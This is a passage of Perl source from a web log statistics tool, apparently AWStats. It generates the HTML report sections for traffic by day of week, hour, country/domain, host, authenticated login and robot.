9423 $avg_dayofweek_h[$_]=sprintf("%.2f",$avg_dayofweek_h[$_]);
9424 $avg_dayofweek_k[$_]=sprintf("%.2f",$avg_dayofweek_k[$_]);
9425 # Remove decimal part that are .0
9426 if ($avg_dayofweek_p[$_] == int($avg_dayofweek_p[$_])) { $avg_dayofweek_p[$_]=int($avg_dayofweek_p[$_]); }
9427 if ($avg_dayofweek_h[$_] == int($avg_dayofweek_h[$_])) { $avg_dayofweek_h[$_]=int($avg_dayofweek_h[$_]); }
9428 }
9429 ShowGraph_graphapplet("$title","daysofweek",$ShowDaysOfWeekStats,\@blocklabel,\@vallabel,\@valcolor,\@valmax,\@valtotal,\@valaverage,\@valdata);
9430 }
9431 else {
9432 print "<table>\n";
9433 print "<tr valign=\"bottom\">\n";
9434 for (@DOWIndex) {
9435 my $bredde_p=0; my $bredde_h=0; my $bredde_k=0;
9436 if ($max_h > 0) { $bredde_p=int(($avg_dayofweek_p[$_]ne'?'?$avg_dayofweek_p[$_]:0)/$max_h*$BarHeight)+1; }
9437 if ($max_h > 0) { $bredde_h=int(($avg_dayofweek_h[$_]ne'?'?$avg_dayofweek_h[$_]:0)/$max_h*$BarHeight)+1; }
9438 if ($max_k > 0) { $bredde_k=int(($avg_dayofweek_k[$_]ne'?'?$avg_dayofweek_k[$_]:0)/$max_k*$BarHeight)+1; }
9439 $avg_dayofweek_p[$_]=sprintf("%.2f",($avg_dayofweek_p[$_]ne'?'?$avg_dayofweek_p[$_]:0));
9440 $avg_dayofweek_h[$_]=sprintf("%.2f",($avg_dayofweek_h[$_]ne'?'?$avg_dayofweek_h[$_]:0));
9441 $avg_dayofweek_k[$_]=sprintf("%.2f",($avg_dayofweek_k[$_]ne'?'?$avg_dayofweek_k[$_]:0));
9442 # Remove decimal part that are .0
9443 if ($avg_dayofweek_p[$_] == int($avg_dayofweek_p[$_])) { $avg_dayofweek_p[$_]=int($avg_dayofweek_p[$_]); }
9444 if ($avg_dayofweek_h[$_] == int($avg_dayofweek_h[$_])) { $avg_dayofweek_h[$_]=int($avg_dayofweek_h[$_]); }
9445 print "<td valign=\"bottom\">";
9446 if ($ShowDaysOfWeekStats =~ /P/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"".AltTitle("$Message[56]: $avg_dayofweek_p[$_]")." />"; }
9447 if ($ShowDaysOfWeekStats =~ /H/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"".AltTitle("$Message[57]: $avg_dayofweek_h[$_]")." />"; }
9448 if ($ShowDaysOfWeekStats =~ /B/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"".AltTitle("$Message[75]: ".Format_Bytes($avg_dayofweek_k[$_]))." />"; }
9449 print "</td>\n";
9450 }
9451 print "</tr>\n";
9452 print "<tr".Tooltip(17).">\n";
9453 for (@DOWIndex) {
9454 print "<td".($_=~/[06]/?" bgcolor=\"#$color_weekend\"":"").">".(! $StaticLinks && $_==($nowwday-1) && $MonthRequired==$nowmonth && $YearRequired==$nowyear?'<font class="currentday">':'');
9455 print $Message[$_+84];
9456 print (! $StaticLinks && $_==($nowwday-1) && $MonthRequired==$nowmonth && $YearRequired==$nowyear?'</font>':'');
9457 print "</td>";
9458 }
9459 print "</tr>\n</table>\n";
9460 }
9461 print "<br />\n";
9462
9463 # Show data array for days of week
9464 if ($AddDataArrayShowDaysOfWeekStats) {
9465 print "<table>\n";
9466 print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
9467 if ($ShowDaysOfWeekStats =~ /P/i) { print "<td width=\"80\" bgcolor=\"#$color_p\"".Tooltip(3).">$Message[56]</td>"; }
9468 if ($ShowDaysOfWeekStats =~ /H/i) { print "<td width=\"80\" bgcolor=\"#$color_h\"".Tooltip(4).">$Message[57]</td>"; }
9469 if ($ShowDaysOfWeekStats =~ /B/i) { print "<td width=\"80\" bgcolor=\"#$color_k\"".Tooltip(5).">$Message[75]</td></tr>"; }
9470 for (@DOWIndex) {
9471 print "<tr".($_=~/[06]/?" bgcolor=\"#$color_weekend\"":"").">";
9472 print "<td>".(! $StaticLinks && $_==($nowwday-1) && $MonthRequired==$nowmonth && $YearRequired==$nowyear?'<font class="currentday">':'');
9473 print $Message[$_+84];
9474 print (! $StaticLinks && $_==($nowwday-1) && $MonthRequired==$nowmonth && $YearRequired==$nowyear?'</font>':'');
9475 print "</td>";
9476 if ($ShowDaysOfWeekStats =~ /P/i) { print "<td>",$avg_dayofweek_p[$_],"</td>"; }
9477 if ($ShowDaysOfWeekStats =~ /H/i) { print "<td>",$avg_dayofweek_h[$_],"</td>"; }
9478 if ($ShowDaysOfWeekStats =~ /B/i) { print "<td>",Format_Bytes($avg_dayofweek_k[$_]),"</td>"; }
9479 print "</tr>\n";
9480 }
9481 print "</table>\n<br />\n";
9482 }
9483
9484 print "</center></td>";
9485 print "</tr>\n";
9486 &tab_end();
9487 }
9488
9489 # BY HOUR
9490 #----------------------------
9491 if ($ShowHoursStats) {
9492 if ($Debug) { debug("ShowHoursStats",2); }
9493 print "$Center<a name=\"hours\">&nbsp;</a><br />\n";
9494 my $title="$Message[20]";
9495 if ($PluginsLoaded{'GetTimeZoneTitle'}{'timezone'}) { $title.=" (GMT ".(GetTimeZoneTitle_timezone()>=0?"+":"").int(GetTimeZoneTitle_timezone()).")"; }
9496 &tab_head("$title",19,0,'hours');
9497 print "<tr><td align=\"center\">\n";
9498 print "<center>\n";
9499
9500 $max_h=$max_k=1;
9501 for (my $ix=0; $ix<=23; $ix++) {
9502 #if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; }
9503 if ($_time_h[$ix]>$max_h) { $max_h=$_time_h[$ix]; }
9504 if ($_time_k[$ix]>$max_k) { $max_k=$_time_k[$ix]; }
9505 }
9506
9507 # Show bars for hour
9508 if ($PluginsLoaded{'ShowGraph'}{'graphapplet'}) {
9509 my @blocklabel=(0..23);
9510 my @vallabel=("$Message[56]","$Message[57]","$Message[75]");
9511 my @valcolor=("$color_p","$color_h","$color_k");
9512 my @valmax=(int($max_h),int($max_h),int($max_k));
9513 my @valtotal=($total_p,$total_h,$total_k);
9514 my @valaverage=($average_p,$average_h,$average_k);
9515 my @valdata=();
9516 my $xx=0;
9517 for (0..23) {
9518 $valdata[$xx++]=$_time_p[$_]||0;
9519 $valdata[$xx++]=$_time_h[$_]||0;
9520 $valdata[$xx++]=$_time_k[$_]||0;
9521 }
9522 ShowGraph_graphapplet("$title","hours",$ShowHoursStats,\@blocklabel,\@vallabel,\@valcolor,\@valmax,\@valtotal,\@valaverage,\@valdata);
9523 }
9524 else {
9525 print "<table>\n";
9526 print "<tr valign=\"bottom\">\n";
9527 for (my $ix=0; $ix<=23; $ix++) {
9528 my $bredde_p=0;my $bredde_h=0;my $bredde_k=0;
9529 if ($max_h > 0) { $bredde_p=int($BarHeight*$_time_p[$ix]/$max_h)+1; }
9530 if ($max_h > 0) { $bredde_h=int($BarHeight*$_time_h[$ix]/$max_h)+1; }
9531 if ($max_k > 0) { $bredde_k=int($BarHeight*$_time_k[$ix]/$max_k)+1; }
9532 print "<td>";
9533 if ($ShowHoursStats =~ /P/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"".AltTitle("$Message[56]: ".int($_time_p[$ix]))." />"; }
9534 if ($ShowHoursStats =~ /H/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"".AltTitle("$Message[57]: ".int($_time_h[$ix]))." />"; }
9535 if ($ShowHoursStats =~ /B/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"".AltTitle("$Message[75]: ".Format_Bytes($_time_k[$ix]))." />"; }
9536 print "</td>\n";
9537 }
9538 print "</tr>\n";
9539 # Show hour lib
9540 print "<tr".Tooltip(17).">";
9541 for (my $ix=0; $ix<=23; $ix++) {
9542 print "<th width=\"19\">$ix</th>\n"; # width=19 instead of 18 to avoid a MacOS browser bug.
9543 }
9544 print "</tr>\n";
9545 # Show clock icon
9546 print "<tr".Tooltip(17).">\n";
9547 for (my $ix=0; $ix<=23; $ix++) {
9548 my $hrs=($ix>=12?$ix-12:$ix);
9549 my $hre=($ix>=12?$ix-11:$ix+1);
9550 my $apm=($ix>=12?"pm":"am");
9551 print "<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"10\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n";
9552 }
9553 print "</tr>\n";
9554 print "</table>\n";
9555 }
9556 print "<br />\n";
9557
9558 # Show data array for hours
9559 if ($AddDataArrayShowHoursStats) {
9560 print "<table width=\"650\"><tr>\n";
9561 print "<td align=\"center\"><center>\n";
9562
9563 print "<table>\n";
9564 print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
9565 if ($ShowHoursStats =~ /P/i) { print "<td width=\"80\" bgcolor=\"#$color_p\"".Tooltip(3).">$Message[56]</td>"; }
9566 if ($ShowHoursStats =~ /H/i) { print "<td width=\"80\" bgcolor=\"#$color_h\"".Tooltip(4).">$Message[57]</td>"; }
9567 if ($ShowHoursStats =~ /B/i) { print "<td width=\"80\" bgcolor=\"#$color_k\"".Tooltip(5).">$Message[75]</td>"; }
9568 print "</tr>";
9569 for (my $ix=0; $ix<=11; $ix++) {
9570 my $monthix=($ix<10?"0$ix":"$ix");
9571 print "<tr>";
9572 print "<td>$monthix</td>";
9573 if ($ShowHoursStats =~ /P/i) { print "<td>",$_time_p[$monthix]?$_time_p[$monthix]:"0","</td>"; }
9574 if ($ShowHoursStats =~ /H/i) { print "<td>",$_time_h[$monthix]?$_time_h[$monthix]:"0","</td>"; }
9575 if ($ShowHoursStats =~ /B/i) { print "<td>",Format_Bytes(int($_time_k[$monthix])),"</td>"; }
9576 print "</tr>\n";
9577 }
9578 print "</table>\n";
9579
9580 print "</center></td>";
9581 print "<td width=\"10\">&nbsp;</td>";
9582 print "<td align=\"center\"><center>\n";
9583
9584 print "<table>\n";
9585 print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
9586 if ($ShowHoursStats =~ /P/i) { print "<td width=\"80\" bgcolor=\"#$color_p\"".Tooltip(3).">$Message[56]</td>"; }
9587 if ($ShowHoursStats =~ /H/i) { print "<td width=\"80\" bgcolor=\"#$color_h\"".Tooltip(4).">$Message[57]</td>"; }
9588 if ($ShowHoursStats =~ /B/i) { print "<td width=\"80\" bgcolor=\"#$color_k\"".Tooltip(5).">$Message[75]</td>"; }
9589 print "</tr>\n";
9590 for (my $ix=12; $ix<=23; $ix++) {
9591 my $monthix=($ix<10?"0$ix":"$ix");
9592 print "<tr>";
9593 print "<td>$monthix</td>";
9594 if ($ShowHoursStats =~ /P/i) { print "<td>",$_time_p[$monthix]?$_time_p[$monthix]:"0","</td>"; }
9595 if ($ShowHoursStats =~ /H/i) { print "<td>",$_time_h[$monthix]?$_time_h[$monthix]:"0","</td>"; }
9596 if ($ShowHoursStats =~ /B/i) { print "<td>",Format_Bytes(int($_time_k[$monthix])),"</td>"; }
9597 print "</tr>\n";
9598 }
9599 print "</table>\n";
9600
9601 print "</center></td></tr></table>\n";
9602 print "<br />\n";
9603 }
9604
9605 print "</center></td></tr>\n";
9606 &tab_end();
9607 }
9608
9609 print "\n<a name=\"who\">&nbsp;</a>\n\n";
9610
9611 # BY COUNTRY/DOMAIN
9612 #---------------------------
9613 if ($ShowDomainsStats) {
9614 if ($Debug) { debug("ShowDomainsStats",2); }
9615 print "$Center<a name=\"countries\">&nbsp;</a><br />\n";
9616 my $title="$Message[25] ($Message[77] $MaxNbOf{'Domain'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=alldomains"):"$PROG$StaticLinks.alldomains.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>";
9617 &tab_head("$title",19,0,'countries');
9618 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
9619
9620 ## to add unique visitors and number of visits by calculation of average of the relation with total
9621 ## pages and total hits, and total visits and total unique
9622 ## by Josep Ruano @ CAPSiDE
9623 if ($ShowDomainsStats =~ /U/i) { print "<th bgcolor=\"#$color_u\" width=\"80\"".Tooltip(2).">$Message[11]</th>"; }
9624 if ($ShowDomainsStats =~ /V/i) { print "<th bgcolor=\"#$color_v\" width=\"80\"".Tooltip(1).">$Message[10]</th>"; }
9625 if ($ShowDomainsStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\"".Tooltip(3).">$Message[56]</th>"; }
9626 if ($ShowDomainsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\"".Tooltip(4).">$Message[57]</th>"; }
9627 if ($ShowDomainsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\"".Tooltip(5).">$Message[75]</th>"; }
9628 print "<th>&nbsp;</th>";
9629 print "</tr>\n";
9630 $total_u=$total_v=$total_p=$total_h=$total_k=0;
9631 $max_h=1; foreach (values %_domener_h) { if ($_ > $max_h) { $max_h = $_; } }
9632 $max_k=1; foreach (values %_domener_k) { if ($_ > $max_k) { $max_k = $_; } }
9633 my $count=0;
9634 &BuildKeyList($MaxNbOf{'Domain'},$MinHit{'Domain'},\%_domener_h,\%_domener_p);
9635 foreach my $key (@keylist) {
9636 my ($_domener_u, $_domener_v);
9637 my $bredde_p=0;my $bredde_h=0;my $bredde_k=0;my $bredde_u=0; my $bredde_v=0;
9638 if ($max_h > 0) { $bredde_p=int($BarWidth*$_domener_p{$key}/$max_h)+1; } # use max_h to enable to compare pages with hits
9639 if ($_domener_p{$key} && $bredde_p==1) { $bredde_p=2; }
9640 if ($max_h > 0) { $bredde_h=int($BarWidth*$_domener_h{$key}/$max_h)+1; }
9641 if ($_domener_h{$key} && $bredde_h==1) { $bredde_h=2; }
9642 if ($max_k > 0) { $bredde_k=int($BarWidth*($_domener_k{$key}||0)/$max_k)+1; }
9643 if ($_domener_k{$key} && $bredde_k==1) { $bredde_k=2; }
9644 my $newkey=lc($key);
9645 if ($newkey eq 'ip' || ! $DomainsHashIDLib{$newkey}) {
9646 print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"".AltTitle("$Message[0]")." /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
9647 }
9648 else {
9649 print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"".AltTitle("$newkey")." /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
9650 }
9651 ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
9652 if ($ShowDomainsStats =~ /U/i) {
9653 $_domener_u = ($_domener_p{$key} ? $_domener_p{$key}/$TotalPages : 0);
9654 $_domener_u += ($_domener_h{$key}/$TotalHits);
9655 $_domener_u = sprintf("%.0f", ($_domener_u * $TotalUnique) / 2);
9656 print "<td>$_domener_u (" . sprintf("%.1f%", 100*$_domener_u/$TotalUnique) . ")</td>";
9657 }
9658 if ($ShowDomainsStats =~ /V/i) {
9659 $_domener_v = ($_domener_p{$key} ? $_domener_p{$key}/$TotalPages : 0);
9660 $_domener_v += ($_domener_h{$key}/$TotalHits);
9661 $_domener_v = sprintf("%.0f", ($_domener_v * $TotalVisits) / 2);
9662 print "<td>$_domener_v (" . sprintf("%.1f%", 100*$_domener_v/$TotalVisits) . ")</td>";
9663 }
9664
9665 if ($ShowDomainsStats =~ /P/i) { print "<td>".($_domener_p{$key}?$_domener_p{$key}:'&nbsp;')."</td>"; }
9666 if ($ShowDomainsStats =~ /H/i) { print "<td>$_domener_h{$key}</td>"; }
9667 if ($ShowDomainsStats =~ /B/i) { print "<td>".Format_Bytes($_domener_k{$key})."</td>"; }
9668 print "<td class=\"aws\">";
9669
9670 if ($ShowDomainsStats =~ /P/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"".AltTitle("")." /><br />\n"; }
9671 if ($ShowDomainsStats =~ /H/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"".AltTitle("")." /><br />\n"; }
9672 if ($ShowDomainsStats =~ /B/i) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"".AltTitle("")." />"; }
9673 print "</td>";
9674 print "</tr>\n";
9675
9676 $total_u += $_domener_u;
9677 $total_v += $_domener_v;
9678 $total_p += $_domener_p{$key};
9679 $total_h += $_domener_h{$key};
9680 $total_k += $_domener_k{$key}||0;
9681 $count++;
9682 }
9683 my $rest_u = $TotalUnique - $total_u;
9684 my $rest_v = $TotalVisits - $total_v;
9685 $rest_p=$TotalPages-$total_p;
9686 $rest_h=$TotalHits-$total_h;
9687 $rest_k=$TotalBytes-$total_k;
9688 if ($rest_u > 0 || $rest_v > 0 || $rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other domains (known or not)
9689 print "<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9690 if ($ShowDomainsStats =~ /U/i) { print "<td>$rest_u</td>"; }
9691 if ($ShowDomainsStats =~ /V/i) { print "<td>$rest_v</td>"; }
9692 if ($ShowDomainsStats =~ /P/i) { print "<td>$rest_p</td>"; }
9693 if ($ShowDomainsStats =~ /H/i) { print "<td>$rest_h</td>"; }
9694 if ($ShowDomainsStats =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
9695 print "<td class=\"aws\">&nbsp;</td>";
9696 print "</tr>\n";
9697 }
9698 &tab_end();
9699 }
9700
9701 # BY HOST/VISITOR
9702 #--------------------------
9703 if ($ShowHostsStats) {
9704 if ($Debug) { debug("ShowHostsStats",2); }
9705 print "$Center<a name=\"visitors\">&nbsp;</a><br />\n";
9706 my $title="$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=allhosts"):"$PROG$StaticLinks.allhosts.$StaticExt")."\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=lasthosts"):"$PROG$StaticLinks.lasthosts.$StaticExt")."\"$NewLinkTarget>$Message[9]</a> &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=unknownip"):"$PROG$StaticLinks.unknownip.$StaticExt")."\"$NewLinkTarget>$Message[45]</a>";
9707 &tab_head("$title",19,0,'visitors');
9708 print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
9709 print "<th>";
9710 if ($MonthRequired ne 'all') { print "$Message[81] : $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1]<br />$TotalUnique $Message[11]</th>"; }
9711 else { print "$Message[81] : ".(scalar keys %_host_h)."</th>"; }
9712 &ShowHostInfo('__title__');
9713 if ($ShowHostsStats =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\"".Tooltip(3).">$Message[56]</th>"; }
9714 if ($ShowHostsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\"".Tooltip(4).">$Message[57]</th>"; }
9715 if ($ShowHostsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\"".Tooltip(5).">$Message[75]</th>"; }
9716 if ($ShowHostsStats =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
9717 print "</tr>\n";
9718 $total_p=$total_h=$total_k=0;
9719 my $count=0;
9720 &BuildKeyList($MaxNbOf{'HostsShown'},$MinHit{'Host'},\%_host_h,\%_host_p);
9721 foreach my $key (@keylist) {
9722 print "<tr>";
9723 print "<td class=\"aws\">$key</td>";
9724 &ShowHostInfo($key);
9725 if ($ShowHostsStats =~ /P/i) { print '<td>'.($_host_p{$key}||"&nbsp;").'</td>'; }
9726 if ($ShowHostsStats =~ /H/i) { print "<td>$_host_h{$key}</td>"; }
9727 if ($ShowHostsStats =~ /B/i) { print '<td>'.Format_Bytes($_host_k{$key}).'</td>'; }
9728 if ($ShowHostsStats =~ /L/i) { print '<td nowrap="nowrap">'.($_host_l{$key}?Format_Date($_host_l{$key},1):'-').'</td>'; }
9729 print "</tr>\n";
9730 $total_p += $_host_p{$key};
9731 $total_h += $_host_h{$key};
9732 $total_k += $_host_k{$key}||0;
9733 $count++;
9734 }
9735 $rest_p=$TotalPages-$total_p;
9736 $rest_h=$TotalHits-$total_h;
9737 $rest_k=$TotalBytes-$total_k;
9738 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other visitors (known or not)
9739 print "<tr>";
9740 print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9741 &ShowHostInfo('');
9742 if ($ShowHostsStats =~ /P/i) { print "<td>$rest_p</td>"; }
9743 if ($ShowHostsStats =~ /H/i) { print "<td>$rest_h</td>"; }
9744 if ($ShowHostsStats =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
9745 if ($ShowHostsStats =~ /L/i) { print "<td>&nbsp;</td>"; }
9746 print "</tr>\n";
9747 }
9748 &tab_end();
9749 }
9750
9751 # BY SENDER EMAIL
9752 #----------------------------
9753 if ($ShowEMailSenders) {
9754 &ShowEmailSendersChart($NewLinkParams,$NewLinkTarget);
9755 }
9756
9757 # BY RECEIVER EMAIL
9758 #----------------------------
9759 if ($ShowEMailReceivers) {
9760 &ShowEmailReceiversChart($NewLinkParams,$NewLinkTarget);
9761 }
9762
9763 # BY LOGIN
9764 #----------------------------
9765 if ($ShowAuthenticatedUsers) {
9766 if ($Debug) { debug("ShowAuthenticatedUsers",2); }
9767 print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
9768 my $title="$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=alllogins"):"$PROG$StaticLinks.alllogins.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>";
9769 if ($ShowAuthenticatedUsers =~ /L/i) { $title.=" &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=lastlogins"):"$PROG$StaticLinks.lastlogins.$StaticExt")."\"$NewLinkTarget>$Message[9]</a>"; }
9770 &tab_head("$title",19,0,'logins');
9771 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : ".(scalar keys %_login_h)."</th>";
9772 &ShowUserInfo('__title__');
9773 if ($ShowAuthenticatedUsers =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\"".Tooltip(3).">$Message[56]</th>"; }
9774 if ($ShowAuthenticatedUsers =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\"".Tooltip(4).">$Message[57]</th>"; }
9775 if ($ShowAuthenticatedUsers =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\"".Tooltip(5).">$Message[75]</th>"; }
9776 if ($ShowAuthenticatedUsers =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
9777 print "</tr>\n";
9778 $total_p=$total_h=$total_k=0;
9779 $max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
9780 $max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
9781 my $count=0;
9782 &BuildKeyList($MaxNbOf{'LoginShown'},$MinHit{'Login'},\%_login_h,\%_login_p);
9783 foreach my $key (@keylist) {
9784 my $bredde_p=0;my $bredde_h=0;my $bredde_k=0;
9785 if ($max_h > 0) { $bredde_p=int($BarWidth*$_login_p{$key}/$max_h)+1; } # use max_h to enable to compare pages with hits
9786 if ($max_h > 0) { $bredde_h=int($BarWidth*$_login_h{$key}/$max_h)+1; }
9787 if ($max_k > 0) { $bredde_k=int($BarWidth*$_login_k{$key}/$max_k)+1; }
9788 print "<tr><td class=\"aws\">$key</td>";
9789 &ShowUserInfo($key);
9790 if ($ShowAuthenticatedUsers =~ /P/i) { print "<td>".($_login_p{$key}?$_login_p{$key}:"&nbsp;")."</td>"; }
9791 if ($ShowAuthenticatedUsers =~ /H/i) { print "<td>$_login_h{$key}</td>"; }
9792 if ($ShowAuthenticatedUsers =~ /B/i) { print "<td>".Format_Bytes($_login_k{$key})."</td>"; }
9793 if ($ShowAuthenticatedUsers =~ /L/i) { print "<td>".($_login_l{$key}?Format_Date($_login_l{$key},1):'-')."</td>"; }
9794 print "</tr>\n";
9795 $total_p += $_login_p{$key};
9796 $total_h += $_login_h{$key};
9797 $total_k += $_login_k{$key};
9798 $count++;
9799 }
9800 $rest_p=$TotalPages-$total_p;
9801 $rest_h=$TotalHits-$total_h;
9802 $rest_k=$TotalBytes-$total_k;
9803 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other logins
9804 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">".($PageDir eq 'rtl'?"<span dir=\"ltr\">":"")."$Message[125]".($PageDir eq 'rtl'?"</span>":"")."</span></td>";
9805 &ShowUserInfo('');
9806 if ($ShowAuthenticatedUsers =~ /P/i) { print "<td>".($rest_p?$rest_p:"&nbsp;")."</td>"; }
9807 if ($ShowAuthenticatedUsers =~ /H/i) { print "<td>$rest_h</td>"; }
9808 if ($ShowAuthenticatedUsers =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
9809 if ($ShowAuthenticatedUsers =~ /L/i) { print "<td>&nbsp;</td>"; }
9810 print "</tr>\n";
9811 }
9812 &tab_end();
9813 }
9814
9815 # BY ROBOTS
9816 #----------------------------
9817 if ($ShowRobotsStats) {
9818 if ($Debug) { debug("ShowRobotStats",2); }
9819 print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
9820 &tab_head("$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=allrobots"):"$PROG$StaticLinks.allrobots.$StaticExt")."\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=lastrobots"):"$PROG$StaticLinks.lastrobots.$StaticExt")."\"$NewLinkTarget>$Message[9]</a>",19,0,'robots');
9821 print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(16)."><th>".(scalar keys %_robot_h)." $Message[51]*</th>";
9822 if ($ShowRobotsStats =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; }
9823 if ($ShowRobotsStats =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; }
9824 if ($ShowRobotsStats =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; }
9825 print "</tr>\n";
9826 $total_p=$total_h=$total_k=$total_r=0;
9827 my $count=0;
9828 &BuildKeyList($MaxNbOf{'RobotShown'},$MinHit{'Robot'},\%_robot_h,\%_robot_h);
9829 foreach my $key (@keylist) {
9830 print "<tr><td class=\"aws\">".($PageDir eq 'rtl'?"<span dir=\"ltr\">":"").($RobotsHashIDLib{$key}?$RobotsHashIDLib{$key}:$key).($PageDir eq 'rtl'?"</span>":"")."</td>";
9831 if ($ShowRobotsStats =~ /H/i) { print "<td>".($_robot_h{$key}-$_robot_r{$key}).($_robot_r{$key}?"+$_robot_r{$key}":"")."</td>"; }
9832 if ($ShowRobotsStats =~ /B/i) { print "<td>".Format_Bytes($_robot_k{$key})."</td>"; }
9833 if ($ShowRobotsStats =~ /L/i) { print "<td>".($_robot_l{$key}?Format_Date($_robot_l{$key},1):'-')."</td>"; }
9834 print "</tr>\n";
9835 #$total_p += $_robot_p{$key};
9836 $total_h += $_robot_h{$key};
9837 $total_k += $_robot_k{$key}||0;
9838 $total_r += $_robot_r{$key}||0;
9839 $count++;
9840 }
9841 # For bots we need to count Totals
9842 my $TotalPagesRobots = 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
9843 my $TotalHitsRobots = 0; foreach (values %_robot_h) { $TotalHitsRobots+=$_; }
9844 my $TotalBytesRobots = 0; foreach (values %_robot_k) { $TotalBytesRobots+=$_; }
9845 my $TotalRRobots = 0; foreach (values %_robot_r) { $TotalRRobots+=$_; }
9846 $rest_p=0; #$rest_p=$TotalPagesRobots-$total_p;
9847 $rest_h=$TotalHitsRobots-$total_h;
9848 $rest_k=$TotalBytesRobots-$total_k;
9849 $rest_r=$TotalRRobots-$total_r;
9850 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0) { # All other robots
9851 print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9852 if ($ShowRobotsStats =~ /H/i) { print "<td>".($rest_h-$rest_r).($rest_r?"+$rest_r":"")."</td>"; }
